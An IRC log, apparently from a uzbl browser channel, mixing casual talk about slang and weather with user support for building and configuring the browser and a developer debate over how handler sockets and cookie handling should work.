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00:15 < bob_f> noisetonepause: jeg er englaenderinde, ma jeg tale ikke danske :(
00:15 < bob_f> (As you can see).
00:15 < bob_f> I had a Danish girlfriend once so I picked up a few words. :)
00:16 < bob_f> Things like "jeg kan ikke tale nu, kan du ring til mig i morgen ?" etc.
00:16 < noisetonepause> I had an english girlfriend once
00:16 < noisetonepause> a bonafide cockney, actually
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00:17 < noisetonepause> not sure i learned any words from here though
00:17 < noisetonepause> except geezerbird
00:17 < noisetonepause> and, err, c-word
00:18 < bob_f> Hehe.
00:18 < bob_f> I like to know a few words in as many languages as possible.
00:18 < bob_f> It's always nice to be able to say "hi, how are you ?" when you meet someone from another country.
00:18 < bob_f> I speak almost-fluent French.
00:19 < noisetonepause> i'm a linguist by day, so i see weird one-off phrases in weird languages all the time
00:20 < bct> geezerbird?
00:20 < noisetonepause> bct: transvestite, allegedly
00:21 < bct> ahaha, ok
00:22 < bob_f> Not even I know that word. :)
00:22 < noisetonepause> well, it makes sense, doesn't it?
00:23 < bct> it does now :)
00:23 < bct> a geezer would be an old man here, still works though
00:24 < noisetonepause> yeah, in england it's not specifically an old man i don't think
00:24 < noisetonepause> in the film lock, stock and two smoking barrels one of the characters uses it to mean something like gangster
00:24 < bct> british slang is the best
00:25 < noisetonepause> and a 'geezer stare' is a kind of empty, 'don't even look at me' look
00:27 < bob_f> Yeah, geezer is just a word for a ... hmm, all the synonyms I can think of are more English slang.
00:27 < bob_f> A typical guy, basically. Drinks a lot, likes women, etc..
00:28 < bct> is it derogatory?
00:30 < bob_f> bct: Nope.
00:31 < bob_f> It can also be used like "my friend Matt is a total geezer" to mean he's really cool.
00:31 < bob_f> Like most London slang it's pretty flexible.
00:33 < noisetonepause> like smurf
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00:46 < Cheeseum> man you crazy europeans with your slang
00:47 < bob_f> :)
00:51 < noisetonepause> Cheeseum: I'm sure wherever you're from you've got crazy slang
00:51 < noisetonepause> most places do
00:51 < noisetonepause> eh, everywhere!
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03:40 < Tel_Janin> let me guess, the syntax for the statusbar has changed?
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03:44 < jrick> Tel_Janin: yep
03:45 < Tel_Janin> I just read the uzbl page. Now to fix the syntax, and maybe get cookies working.
03:45 < jrick> I actually went the other way and disabled cookies. uzbl is so much faster now.
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08:10 < Rodya> hrm, when i go to blogtv.com, it downloads index.html rather than loading it in the browser o_O
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08:30 < scj> Rodya: works for me
08:31 < scj> probably because I built a webkit nightly a few days ago, they use libsoup for content sniffing
08:31 < scj> or whatchamacallit
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08:33 < Rodya> scj, aye, i still haven't bothered with updating webkit from 1.1.10
08:33 < Rodya> that is probably the source of several of my issues
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08:59 < Dieterbe_> good morning bitchizzzzz
09:00 < holizz> Hey.
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09:21 < holizz> And now I'm going to find out how well Google Wave works in uzbl.
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09:26 < holizz> Haha! Wave tells me I ought to upgrade my browser when I'm using Firefox 3.5 but not when I'm using uzbl!
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09:33 < Dieterbe_> looks like your upgrade from ff 3.5 to uzbl was successful then!
09:37 < Dieterbe_> scj: Rodya so we should update our dependencies and say we depend on webkit 1.1.11 ? many people will love that :P
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09:39 < Rodya> Dieterbe_, it'd finally force me to actually upgrade >.>
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10:01 < jpic> hi, do you plan to use V8?
10:03 < Dieterbe_> no plans yet. maybe, if it's really good and simple to integrate
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10:04 < jpic> it looks much faster on gmail, but i haven't extensively tested
10:06 < ruskie> probably gmail is optimised for it
10:07 < jpic> i'm unsure if they start optimising their stuff for non-stable products
10:07 < jpic> sounds like a poor decision ...
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10:15 < jpic> they don't even intend to support Gears on Chromium for Linux so ..
10:17  * ruskie is kinda fed up with the whole google kool-aid
10:18 < jpic> i don't buy this either, but there is not need for primitive anti-americanism or such
10:18 < holizz> Google Wave might be cool if it worked. Maybe they just got a big influx of users today.
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10:20 < jpic> i've crashed uzbl_tabbed ...
10:21 < holizz> How?
10:21 < jpic> tggfoo+bar() with bind tgg_      = keycmd_nl tohttp://www.google.com/search?q=%s
10:22 < jpic> where set bind_tab_from_uri       = to_
10:22 < jpic> it just won't respond now
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10:23 < jpic> i had to delete the session to get it running again
10:23 < jpic> (and to kill the client of course)
10:27 < holizz> uzbl in LWN: http://lwn.net/Articles/341245/
10:35 < jpic> how to bind a key to spawn the inspector?
10:36 < holizz> jpic, Not possible, I think.
10:37 < jpic> someone mentionned making a download manager for uzbl, why not use an existing wget download manager?
10:40 < holizz> jpic, Good idea.
10:42 < ruskie> :)
10:42 < ruskie> so many ways to handle it all :)
10:45 < holizz> People comparing uzbl to Prism in the comments. Hah.
10:47 < Phillemann> jpic: A wget download manager?
10:48 < Phillemann> Do you mean just using wget or using a programm which manages wget downloads?
10:50 < jpic> yes
10:51 < Phillemann> lol
10:51 < jpic> i know there are loads, unfortunnalety i don't remember any names (doing torrents for years now ><)
10:51 < jpic> Phillemann: it may be useful, to spawn several wget instances for one download
10:52 < Phillemann> jpic: Yeah, I've thought about starting to write such a manager, too. I didn't know there already were some.
10:53 < ruskie> I thought aria2 could be run as a daemon so that might be a nice solution as well
10:53 < Phillemann> I just hate firefox's download window. Some daemon in the background should handle downloads. This daemon could also be used to open the files in a designated program (which firefox also isn't really able to do).
10:55 < bob_f> Mourning.
10:55 < ruskie> I have stuff so separated I can't really rely on a daemon alone... need a nice gtk save dialog to point it in the right direction
10:56 < jpic> a dmenu :)
10:57 < ruskie> for you maybe
10:57 < ruskie> I HATE menus
10:57 < bob_f> How do you know what to eat at restaurants then !!
10:58 < ruskie> meant computer menus
10:58 < ruskie> drop down right click etc...
10:58 < bob_f> Yeah, I was being hilarious. :)
10:59 < ruskie> :)
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11:03 < Phillemann> ruskie: The GTK save dialog is so messed up
11:04 < Phillemann> I remember about a year ago it wasn't multithreaded, so after typing "/usr/bin/" you'd have to wait about a minute until it was finished reading all files in that directory.
11:05 < ruskie> lol
11:05 < Phillemann> That has been fixed now. It is still, however, pretty unuzbl if you try to control it with the keyboard only.
11:05 < ruskie> to each his own
11:05 < ruskie> I love it
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12:01 < jpic> ruskie: i meant a bar with paths auto-completion
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12:02 < jpic> what else do you need to save a file at the right place?
12:02 < ruskie> gtk-bookmarks
12:02 < jpic> that should be symlinks
12:02 < ruskie> easier than autocompletion
12:03 < jpic> i find gtk-bookmarks useless when it comes to subdirectors
12:03 < ruskie> I never need subdirs
12:04 < ruskie> I need like 6 or 7 paths most times
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12:04 < ruskie> various torrent watch dirs where torrents dependeng on what they are go
12:04 < ruskie> some generic I'll look at this dir
12:04 < jpic> ah, non professionnal usage then
12:04 < ruskie> rofl
12:04 < ruskie> wth is professional usage?
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12:05 < Dieterbe_> hellooo DuClare 
12:05 < jpic> a project directory may have subdirs like repo, code, documents, fixtures and so one
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12:05 < ruskie> so hit the bookmark -> pick subdir -> hit save
12:05 < jpic> in that case path auto completion is faster
12:06 < DuClare> Hi Dieterbe_ o/
12:06 < ruskie> 3 mouse clicks vs type-a[tab]... etc...
12:06 < jpic> note that each mouse click is at opposite positions
12:06 < Dieterbe_> DuClare: i think you need to talk to lwithers . he said the argument splitting stuff etc needs a good refactoring
12:07 < jpic> bookmarks are on the bottom right, folders are top-middle and save is bottom right ... what a pain
12:07 < jpic> *bookmarks are at the bottom left
12:08 < jpic> particularely with a touchpad :)
12:08 < DuClare> Dieterbe_: Yup, I completely agree it needs refactoring
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12:44 < murth> I don't know if this is something to do with my setup, but when I go to http://www.oneplanet.com.au/ and any of its pages, the page just continually reloads once it has finished reloading.
12:45 < murth> I'm wondering if anyone has any ideas?
12:50 < bob_f> murth: Seems to work fine her.
12:50 < bob_f> here*
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13:11 < jelly12gen> hi is there any way to use the follow_numbers.js script to open in a new tab
13:11 < jelly12gen> ?
13:13 < holizz> jelly12gen, You'd probably be able to do it by editing the source.
13:13 < jelly12gen> hmm
13:13 < jelly12gen> currently i am just configuring and configuring like " ZOMG i can configure anything "
13:15 < jelly12gen> holizz: is there an option to restore sessions ?
13:15 < jelly12gen> wait
13:15 < jelly12gen> if this isnt such a memory leak as FF then that wouldnt be needed :D
13:16 < holizz> jelly12gen, I think you can restore sessions using uzbl_tabbed.py. But I'm not sure if that's working properly or not. Use mason-larobina/experimental to get the latest.
13:16 < jelly12gen> ok
13:16 < jelly12gen> holizz: atm i dont care
13:17 < mason-l> Hey guys
13:17 < holizz> Speak of the devil.
13:17 < mason-l> :)
13:17 < lwithers> DuClare: if you're about I did want to look at the argument splitting
13:17 < jelly12gen> holizz: first let me hack that open follow link in tab
13:17 < mason-l> jelly12gen, If you're having any problems with it at all I've fixed up a few bugs in the last 24 hours.
13:18 < lwithers> travelling to work now, back in 90 mins or so
13:18 < jelly12gen> mason-l: with what ?
13:18 < jelly12gen> the follow link parT ?
13:18 < jelly12gen> *part
13:18 < murth> bob_f: thanks, I'll further investigate
13:18 < mason-l> jelly12gen, The session restoration
13:18 < jelly12gen> mason-l: ooh , i dont use it atm
13:18 < mason-l> and session preset saving/loading
13:19 < mason-l> (which I've found rather useful myself.
13:19 < mason-l> )
13:19 < jelly12gen> mason-l: i am just configuring atm
13:20 < jelly12gen> oh another question does uzbl work with mark yank url for urxvt?
13:21 < DuClare> If you can control the browser via the CLI, then you can make it work with mark yank url..
13:21 < DuClare> *hint hint*
13:21 < jelly12gen> hmm
13:21 < jelly12gen> i want it do open a new link in a tab
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13:22 < jelly12gen> yeah if i just configured xmonad with tabs it would be easy ;)
13:23 < jelly12gen> *tabbedlayout
13:23 < DuClare> lwithers: Actually, I need to run to the police & library in a bit, and a lesson after 90 mins so I don't have too much time now.  I do read backlog though
13:23 < jelly12gen> one note the font in gmail isnt that nice
13:23 < jelly12gen> is this uzbl's fault ?
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14:39 < mason-l> Killer bind: bind    G _       = uri http://www.google.com.au/search?btnI=I'm+Feeling+Lucky&q=%s
14:39 < mason-l> ^ Googles i'm feeling lucky search.
14:39 < mason-l> And it works.
14:47 < jpic> mason-l: hi, how to make a binding that does that in a new tab? for example i made this: bind tgg_      = keycmd_nl tohttp://www.google.com/search?q=%s but non-alphanumerical caracters won't be urlencoded
14:48 < jpic> also, tofoo+bar() crashed uzbl_tabbed
14:48 < mason-l> There might be a solution to that
14:49 < jpic> heheh you always have a solution
14:50 < mason-l> "When a piece of text needs to be XML escaped after it is expanded (for example,in the status bar format), you can use @[ ]@ substitution: print This text is XML escaped: @[<&>]@  # prints: This text is XML escaped: &lt;&amp;&gt;"
14:50 < jpic> maybe it's time for me to read the documentation
14:50  * jpic runs and hides
14:50 < mason-l> jpic, The included README is surprisingly useful.
14:51 < jpic> btw, this is html entities convertion, not url encoding
14:51 < mason-l> Ahh..
14:52 < mason-l> Might need to talk to the guys about that. Bit out of my league, I just play with uzbl_tabbed.py and other python scripts.
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14:57 < bob_f> laway
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15:00 < jpic> mason-l: any plans to make a tab detach command?
15:01 < mason-l> jpic, Yeah easily done (although what is essentially happening is the uzbl instance being destroyed and launching another uzbl_tabbed.py script to load the uri of the destroyed tab).
15:03 < mason-l> Which means due to my limited knowledge of the gtk plug/socket system it wont actually be a socket-disconnect *magic-happens* uzbl instance realises its missing a window and makes one.
15:04 < jpic> would the window need to be re-instanciated even if it wasn't required for tabdetach to give a new window supporting tabs?
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15:05 < mason-l> jpic, Same issue.
15:05 < mason-l> Its all about doing that instance detach.
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15:17 < jpic> mason-l: can't you just unhide its window?
15:18 < mason-l> Its not that its hidden, the window isnt created in socket/plug mode.
15:18 < mason-l> (afaik)
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15:29 < lwithers> DuClare: so I was thinking it might make sense to make the handlers take arguments in the same way as e.g. status_format
15:30 < lwithers> you could write e.g. "set history_handler = spawn history_handler.sh --uri @uri -- title @TITLE"
15:31 < lwithers> and this would result in a call to execve with arguments "history_handler.sh", "--uri", "http://foo.example/bar", "--title", "My title"
15:31 < rob|> lwithers: yes, that would definitly make sense. actually all commands should call expand() on their arguments..
15:31 < lwithers> the handler callback functions in uzbl.c would just get an array of C strings
15:31 < lwithers> which means the talk_to_socket() handler could prepare a packet with arguments seperated by nulls
15:31 < lwithers> it would tidy up the code a lot
15:32 < lwithers> rob|: basically yes that's what I was thinking, it seems much more consistent
15:32 < rob|> indeed
15:33 < rob|> we just need to make sure that we don't run into a quoting nightmare with that
15:37 < rob|> also, i think handlers should support verbosity levels as an argument. that way we could associate message types/groups with a verbosity level and output only those groups through the handler socket
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15:39 < rob|> imo this is a much more general approach and we wouldn't need separate "names" for each handler
15:40 < rob|> like: "setup_handler <verbosity level> <socket> <options>" or something alike
15:43 < rob|> the verbosity level could (should?) also be a string or even an ORed string: setup_handler COOKIES|FOO|BAR /tmp/my_socket bla bla bla
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15:49 < rob|> oh, and there should be a socket counter per instance so we build up the socket name by simply adding the  counter var to the socket name: /tmp/my_socket@SOCK_CNT
15:49 < rob|> ^so we could build
15:50 < bct> what's the counter for?
15:50 < rob|> generating unique socket names per instance
15:50 < bct> i thought every instance was making a separate connection to the socket
15:50 < rob|> without the need for the user to take care of already existing ones
15:51 < rob|> we want multiple sockets per instance
15:51 < bct> oh right i was thinking of it inverted
15:51 < bct> nm
15:53 < Dieterbe_> i don't see the need for the counter. each uzbl instance has it's socket (specified by its name) and handlers have their own sockets as defined in the config
15:55 < rob|> Dieterbe_: sure, though multiple instances could refer to the same socket name. that would either lead to confusion or to making the protocol way more complex
15:55 < rob|> maybe SOCK_CNT was a bad name it should be UNIQUE_SOCK_ID
15:55 < bct> i think we should definitely be expand()ing in spawn, etc., but it's kind of nice that all e.g. history handlers take the same arguments in the same order
15:56 < bct> that way when you set one up in your config all you need to know is its path (rather than the arguments it expects)
15:56 < Dieterbe_> if multiple uzbl's point to the same socket, currently I see that as an error from the one responsible spawning that uzbl instance, and the new ones should abort
15:57 < Dieterbe_> it's up to the user or the wrapper script the user uses, to have unique names for it's uzbl's
15:57 < rob|> Dieterbe_: well, that's not easily achievable if you define static names in the config file
15:58 < bct> rob|, are you thinking that uzbl would act as a server on each of the static names in the config file?
15:58 < bct> because we've been talking about it acting as a client, the handler script would act as a server.
15:58 < rob|> ah, i see. so the handler would setup the socket
15:58 < bct> yup, and each uzbl instance would make a separate connection.
15:59 < rob|> hmm, i guess that would work, too
15:59 < bct> i guess the tradeoff is that it requires more complexity in the handler.
15:59 < rob|> right
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16:01 < Dieterbe_> i think it's good like that
16:01 < rob|> well ok, let's have it that way then
16:01 < Dieterbe_> but rob| , your counter proposal is not related to that, right?
16:01 < mason-l> "<rob|> we just need to make sure that we don't run into a quoting nightmare with that" What nightmare :P
16:02 < rob|> Dieterbe_: i was thinking of it working the other way around, as bct said..
16:04 < rob|> mason-l: heh, well. at the current point quoting is quite accepatbel but with commands and expand() requiring quotes it could easily lead to a great level of confusion
16:05 < mason-l> rob|, Its something to look out for but I love the idea of customizing the arguments to handlers using the expand function :D
16:05 < mason-l> Good work!
16:05 < mason-l> Well.. Good idea!
16:05 < mason-l> :)
16:06 < rob|> well, i just cribed it from the shell ;)
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16:09 < rob|> hmm, is that the correct simple past of "to crib"?
16:09 < Dieterbe_> rob|: aha. i thought you were talking about uzbl's sockets, not the handler sockets (hence my comment about uzbl instances and their names)
16:09 < Dieterbe_> so to conclude: we can scratch the counter idea
16:10 < rob|> yep, i think so
16:10 < rob|> also it would still be nice to provide a simple means of generating unique socket names
16:11 < rob|> s/also/thoufg/
16:11 < rob|> *brrr*
16:13 < Dieterbe_> @<echo \$RANDOM>
16:13 < Dieterbe_> + '@' at the end :)
16:14 < Dieterbe_> rob|: ^^ ?
16:15 < rob|> that's not safe in every case..
16:16 < rob|> though, mktemp could be
16:16 < Dieterbe_> right
16:16 < bct> rob|, 'cribbed'
16:17 < rob|> bct: thanks (*mental note*)
16:17 < bct> i think usually you double the last consonant, but it's english so who knows?
16:18 < rob|> lol
16:20 < holizz> You double the last consonant except after an "e", and not on a full moon (unless it's the 4th of March, in case it should be tripppled).
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16:20  * mason-l checks if there was a full moon on the 4th of March 
16:20 < Dieterbe_> rob|: i also didn't really get your verbosity levels point.  this can also be discarded because of the socket misunderstanding?
16:21 < rob|> Dieterbe_: no, the question is what do you output on the socket?
16:22 < Dieterbe_> well a handler such as the cookie handler will return the cookie as answer on a GET request for example
16:22 < lwithers> what you output on the socket would depend on your handler string
16:22 < rob|> Dieterbe_: so we would need a table that hardcodes the handler name to the desired output, right?
16:22 < lwithers> e.g. set cookie_handler = talk_to_socket /path/to/socket @COOKIE_OP @COOKIE_URL @COOKIE_NAME @COOKIE_VALUE or somesuch
16:23 < rob|> my idea was to let the handler script decide what it wants to be output
16:23 < lwithers> eh?
16:23 < lwithers> do you mean so that it doesn't have to be configured in uzbl's config file?
16:23 < rob|> hmm, general misunderstanding on my site. i was thinking of something more event based
16:24 < Dieterbe_> uzbl knows which type of handler it's talking to, so it does a specific request such as 'get' on a cookie handler, it knows it has to get a cookie back (or an empty string)
16:24 < rob|> that way we can only provide hardcoded handlers
16:24 < Dieterbe_>  lwithers> e.g. set cookie_handler = talk_to_socket /path/to/socket @COOKIE_OP @COOKIE_URL @COOKIE_NAME @COOKIE_VALUE or somesuch <-- i don't think we need that
16:24 < rob|> with my approach you could setup a handler for any message/event type
16:25 < lwithers> Dieterbe_: are you sure? it would be nice because then we can just treat all handler lines the same and expand arguments nicely
16:25 < Dieterbe_> rob|: well imho it should be possible to have some 'generic' handlers, attached to some events (like pageload, uzbl startup etc), but handlers such as the cookie handlers are really special cases
16:25 < rob|> like in the example above, a script set up a handler which writes the requested event types to a socket
16:25 < rob|> *sets
16:26 < rob|> Dieterbe_: why special cases? all handlers should work in the very same way
16:26 < Dieterbe_> lwithers: oh. so the arguments are meant for uzbl, not for the handler? hmmm might be useful then, yes. i'm not familiar enough with the particular implementation to see the value, you probably even know that code better then me
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16:27 < rob|> Dieterbe_: you should take a coiple of days off and get familiar with all of the new code ;)
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16:27 < lwithers> Dieterbe_: basically for each 'event' there is a set of arguments; for a cookie event these would be named as above
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16:28 < lwithers> Dieterbe_: in addition there are the normal variables used elsewhere (e.g. in status_message)
16:28 < Dieterbe_> rob|: cookie handler is very specific: uzbl blocks until it gets output back from the cookie handler, and uses that output in the http headers. i don't see a way to integrate this in a "generic" scheme
16:28 < lwithers> Dieterbe_: it would be nice to just expand those variables in the handler line, regardless of what the handler is
16:29 < lwithers> it would make the code a fair bit cleaner and we should be able to simplify quoting rules
16:30 < rob|> well my idea is this: we have a command that creates a (new) socket and outputs events on it. which events are to be written to the socket is controlled with arguments to that command. like:  setup_hanlder  NEW_COOKIE_EVENT|SOME_OTHER_EVENT|MORE_EVENTS
16:30 < rob|> the handler does a blocking read on the socket, parses the events and reacts on them
16:31 < rob|> somewhat similar to the way wmii works with its control file or whatever it is called
16:31 < Dieterbe_> i'm afraid i don't have much time to really think about this / discuss this right now
16:31 < Dieterbe_> i'll read your stuff later today
16:31 < bct> with the current way the handler has to handle multiple connections, so it's going to have to do a select
16:31 < bct> in which case it could be listening for connections on multiple sockets.
16:33 < lwithers> rob|: I think your ideas are very different from what I'm discussing
16:33 < rob|> seems so
16:34 < lwithers> I think the two can live in harmony but I'm just focussing on one thing which is a synchronous "pass message to daemon via socket and get response" handler-type
16:34 < lwithers> in this model an external daemon creates a socket and uzbl, when it wants something from that daemon, connects to the socket, does a read() then a write() then a close()
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16:36 < rob|> oh, i see. well, i was thinking on something more general. the deamon tells uzbl to create a socket and which events it is inetrested in, the handler does a blocking read on the socket and parses the event. it writes back any command uzbl understands to that socket as a reaction to the read event
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16:37 < lwithers> sure that's a fine idea, the two don't overlap
16:39 < rob|> indeed, though the question is do we need both?
16:40 < lwithers> don't see why not
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16:41 < lwithers> if you change to use your scheme exclusively then a whole bunch of stuff stops working
16:41 < lwithers> like shell scripts
16:41 < lwithers> I think that would make people unhappy :)
16:41 < rob|> why would shell scripts stop working?
16:42 < lwithers> talk_to_socket is a handler function in exactly the same way as sh or spawn
16:42 < rob|> ah, ok i see what you mean
16:42 < lwithers> actually, to be more precise, it's the same as sh_sync or spawn_sync
16:42 < lwithers> since it blocks and waits for a response
16:43 < rob|> so we would need a uzblsockread command that works somewhat like tail but on sockets
16:43 < lwithers> if you have a look at git://lwithers.me.uk/uzbl then you can actually see the implementation
16:43 < lwithers> it's a pretty simple implementation made a bit more verbose by error checking and efficiency concerns
16:44 < lwithers> but it literally drops in alongside the sh/spawn functions without changing any existing code :)
16:45 < rob|> is there a http viewable version of it?
16:45 < lwithers> sec
16:46 < bct> there's no reason events have to be sent to only the socket or a shell script
16:46 < bct> (except for the cookie handler)
16:47 < lwithers> www.lwithers.me.uk/usr/src/uzbl/
16:47 < lwithers> uzbl-talk_to_socket-take2.patch
16:47 < lwithers> uzbl+talk_to_socket.c
16:47 < lwithers> rob|: ^^
16:47 < rob|> ok, thanks. will look at it
16:49 < rob|> hmm, how portable is SOCK_SEQPACKET?
16:50 < bct> i'm not sure which of "socket-as-extension-to-handler" and "socket-as-generic-event-mechanism" i prefer, but neither breaks shell scripts.
16:50 < bct> rob|, we had this discussion the other day :)
16:50 < lwithers> rob|: tbh I'm not 100% sure but I think it's very portable
16:50 < bct> it's in some standard.
16:50 < lwithers> bct: why not have both? they're not mutually exclusive
16:51 < bct> they're functionally identical, why have both?
16:51 < lwithers> rob|: manpage for the FIONREAD ioctl references SOCK_SEQPACKET on AIX, Solaris, SunOs, ...
16:51 < lwithers> bct: no they're not at all
16:51 < bct> counterexample?
16:51 < lwithers> bct: in one model, uzbl creates a socket and external processes must connect and listen to it
16:52 < lwithers> bct: this means that external processes need to somehow find out about each uzbl instance and connect to all of them
16:52 < lwithers> bct: in the other model, the external processes are daemons
16:52 < lwithers> each daemon creates a single socket at a well-known path
16:52 < lwithers> then every uzbl instance connects to that socket as required
16:53 < lwithers> so coming back to a cookie handler, using the first model the cookie handler daemon would have to
16:53 < bct> if uzbl's doing the serving the paths are just variations on a wel known path.
16:53 < lwithers> either scan, or be notified in some way, of each uzbl's socket path; then connect to it
16:53 < lwithers> using the second model it provides a single server socket, and clients (uzbl or otherwise) connect to it at a well-known path
16:54 < lwithers> bct: sure but you still have the variable part to deal with somehow, and some way to notice a new socket has appeared
16:54 < bct> ah, sorry. i misread rob's proposal.
16:54 < lwithers> at least I think so :) might be wrong
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16:55 < bct> i thought he was suggesting external handlers still act as servers.
16:56 < lwithers> rob|: care to clarify for us? :)
16:57 < ruskie> hmm
16:57 < bct> i thought the distinction was between "cookie_handler <socket>" and "handler <cookies|etc> <socket>"
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16:58 < rob|> well, we could still use external handlerls acting as servers. we'd just need another socket/fifo and each new uzbl instance would write an event message to that one notifiying the handler of its existance
16:58 < bct> maybe we're confusing things by trying to treat the cookie handler and other handlers the same way
16:58 < bct> the cookie handler is a bit of a special case since it has to be synchronous.
16:59 < bct> other handlers are just watching events, handling them, and maybe writing something back later.
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17:00 < rob|> so, the conclusion is cookies suck! :P
17:00 < ruskie> nothing new there
17:00 < lwithers> yes, they do, so let's make them suck less at least :P
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17:00 < ruskie> but the alternative is server side sessions but so many do those badly
17:01 < ruskie> I've seen one good server side session setup... on hastymail... has the option to generetae a new random id on each request so it's secure
17:02 < bct> maybe it would be better to handle cookies in a proxy.
17:03 < bct> do everything in a proxy, forget handlers entirely.
17:03 < scj> rob|: why would the handler need to be aware of uzbl instances?
17:04 < rob|> scj: in order to open the corresponding socket and react on cookie events
17:05 < lwithers> scj: unless I am mistaken, we are talking about a model where each instance of uzbl creates a server socket and writes events to it; handlers must connect to the socket and read from it
17:05 < scj> ah
17:05 < lwithers> I think it's a very flexible scheme to be sure but it is complex
17:06 < scj> in that case, the FS route would probably be the best
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17:06 < bct> what's the advantage over every instance of uzbl connecting to one or more handler sockets?
17:07 < bct> (and writing events to them)
17:07 < lwithers> bct: I think that you could expose a "stream" of different events to this socket and a handler could act on multiple different types of events
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17:08 < bct> the same thing works the other way though
17:08 < lwithers> for example a handler could deal with "page_loaded" and pull out links to media files on the page; then it could deal with "image_loaded" and save images into a directory somewhere
17:09 < bct> i thought that was the point of ORing verbosity strings together when you're setting up the handler?
17:09 < bct> like rob| suggested.
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17:09 < lwithers> ok now I'm officially confused, I thought that's what we were talking about? :)
17:10 < bct> in your config you would just have "socket loaded /loaded-handler-socket"
17:10 < bct> or page_loaded|image_loaded
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17:10 < bct> yeah, but you don't need uzbl to be acting as a server for that to work
17:10 < bct> it just connects as a client to all the sockets set up in the config and dumps out the appropriate events to each one.
17:11 < lwithers> no but I think that's what rob| proposed
17:11 < lwithers> yes I believe the scheme is simpler if uzbl is a client
17:11 < bct> right, htat's why i asked what the advantage to being a server was.
17:11 < rob|> i wasn't talking about client/server issues.
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17:12 < rob|> uzbl could be either one in my proposal
17:12 < rob|> it would just need to know the socket paths
17:13 < bct> ok, that makes more sense.
17:16 < rob|> brb, 20 mins...
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17:23 < bct> libc doesn't have functions for copying files? that's surprising.
17:26 < lwithers> why? copying files is hard
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17:27 < bct> exactly, i shouldn't have to do it on my own >:(
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17:30 < rob|> re
17:31 < rob|> hell, it's getting hot in here - 27° C
17:31 < ruskie> 30C here
17:33 < DuClare> 24.5
17:33 < rob|> lucky you
17:33 < rob|> talking about the room temp, not outside, though..
17:33 < ruskie> yup room temp
17:34 < ruskie> atleast there's some wind
17:34 < DuClare> Oh, well, room is the same as outside
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18:00 < jpic> is it me or is select/copy broken? i'm trying to paste text selected from uzbl and it's not pasting :)
18:00 < jpic> it's 35C outside :)
18:01 < jpic> almost 40 at 1400 .... apparently it reached 52C in the south
18:01 < jpic> (of spain)
18:03 < bct> good god
18:03 < bct> maybe i should take a trip to spain :D
18:03 < holizz> jpic, I noticed the poor-quality of copy/paste. It occurs with the  usual selection buffer and the secondary one too.
18:04 < jpic> bct: you're welcome, we're a couch surfing family :)
18:06 < jpic> but frankly, you can't take it
18:06 < jpic> well, unless you don't *try to actually sleep* :)
18:07 < jpic> best part is Andaluzia, in case you really want to visit Spain :)
18:08 < bct> yeah, 52 sounds pretty crazy
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18:11 < jpic> i've seen it in the news yesterday so it might not be accurate, but last time i've been there it was way > 40
18:12 < jpic> i should tell poeple: go to the beach between 12 and 16 o'clock, that's the best part!
18:13 < jpic> turists come to "find the sun", but once here, they can't escape ahhaahha
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20:03 < enigmus> I get the following build error on current master:
20:03 < enigmus> In file included from uzbl.c:57:
20:03 < enigmus> uzbl.h:61: error: expected specifier-qualifier-list before ‘WebKitWebInspector’
20:04 < bct> if i recall correctly, that means you need a newer version of webkit
20:05 < enigmus> bct: argh. I'm on Fedora. I heard you guys saw little RPM-based activity, trying to see if I can help in this regard...
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20:10 < bct> what version of webkit-gtk do you have?
20:10 < enigmus> 1.0.0-0.15.svn37790
20:11 < enigmus> that sounds old
20:12 < bct> yup. i think most people in here are on 1.1.10
20:16 < bob_f> Hey, was there a setting that would make insert mode go on automagically if I enter a text box ?
20:16 < enigmus> How does 1.1.1 sounds like? (that's what's on Fedora 11)
20:20 < bct> i'm not sure what the cutoff is, but that would be an improvement :)
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20:23 < N30N_> bob_f: it can be done via js, the prob is how to know if you clicked it or the site gave it focus (like google.com)
20:24 < bob_f> N30N_: Well, vimperator just puts insert mode on if a text input has focus, and I've got so used to that behaviour that I find I can't quite get used to the standard uzbl behaviour.
20:24 < bob_f> And I'm not a big fan of mod keys, so I don't want to use always insert.
20:29 < N30N_> I have my hints script auto enter insertmode when when giving form elements focus
20:30 < bob_f> N30N_: Hmm, that sounds like a good idea.
20:34 < bob_f> Wooo, rain !
20:34 < bob_f> I love being inside during a thunderstorm.
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20:47 < Dieterbe_> evening ladies
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20:52 < bob_f> Hey Dieterbe_.
20:52 < bob_f> Hm, I just built the latest git and it seems to have caused some mischeif.
20:52 < bob_f> mischief*
20:52 < bob_f> The status bar is populated with placeholders and nothing appears to be working.
20:53 < bob_f> Well, the homepage loads, but I can't interact with the browser at all.
20:54 < Dieterbe_> http://www.uzbl.org/news.php?id=12
20:54 < bob_f> Dieterbe_: Ah, cool - thanks. :)
20:55 < Dieterbe_> shame on you for missing that btw :P
20:55 < Dieterbe_> it was discussed a lot on this channel also
20:56 < bob_f> Was that between Thursday and Tuesday ? I was away during that period.
20:56 < bob_f> And been pretty vacant since. ;)
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20:58 < Dieterbe_> hmmmm ok you win this one :)
21:02 < bob_f> \o/
21:04 < bct> bob-f, you're the second person that's said nothing works before you update the format
21:04 < bct> were keys not responding at all, or were they just not displaying when you typed them?
21:08 < bob_f> bct: The former.
21:08 < bob_f> I tried temporaring mv'ing my ~/.config/uzbl dir and then the keys would appear in the titlebar thingy for the app.
21:08 < bob_f> bct: Oh, hey, no, they do work.
21:08 < bob_f> I guess I'm just not as good at touchtyping as I thought I was.
21:09 < bct> ok, just making sure :)
21:09 < bct> cuz i couldn't think of a reason they would stop working
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21:34 < Dieterbe_> 17:31:08 < rob|> hell, it's getting hot in here - 27° C <-- minus 27 degrees? damn !!
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22:14 < bob_f> Hooray, dist-upgrade is done, let's see if the libwebkit JSON thing is fixed.
22:15 < lwithers> Dieterbe_, bob_f: any more thoughts about the talk_to_socket() approach? I could write some doc patches as well if it would be useful?
22:16 < bob_f> lwithers: Sorry, git just wouldn't work yesterday - will try again soon. :)
22:16 < bob_f> I'm just about to pull thingy's work into my cookies.py
22:16 < bob_f> holizzzzzz
22:16 < bob_f> Dieterbe_: Is his latest work in your git ?
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22:28 < Dieterbe_> lwithers: bob_f sorry mate still need to review your stuff
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22:33 < Dieterbe_> now i'm off to bed
22:35 < bob_f> Dieterbe_: That's fine - I've been lazy too; going to get it working with lwithers stuff when I get the chance.
22:35 < bob_f> Good night !
22:35 < Dieterbe_> you calling me lazy? :P
22:36 < bob_f> Haha. :)
22:43 < rob|> <Dieterbe_>17:31:08 < rob|> hell, it's getting hot in here - 27° C <-- minus 27 degrees? damn !!  <--- your parser has a bug :P
22:43 < jelly12gen> lol
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23:44 < senorpedro> hola
23:44 < senorpedro> i have a issue with always_insert_mode
23:44 < senorpedro> i try "set always_insert_mode = 1" but it didnt work
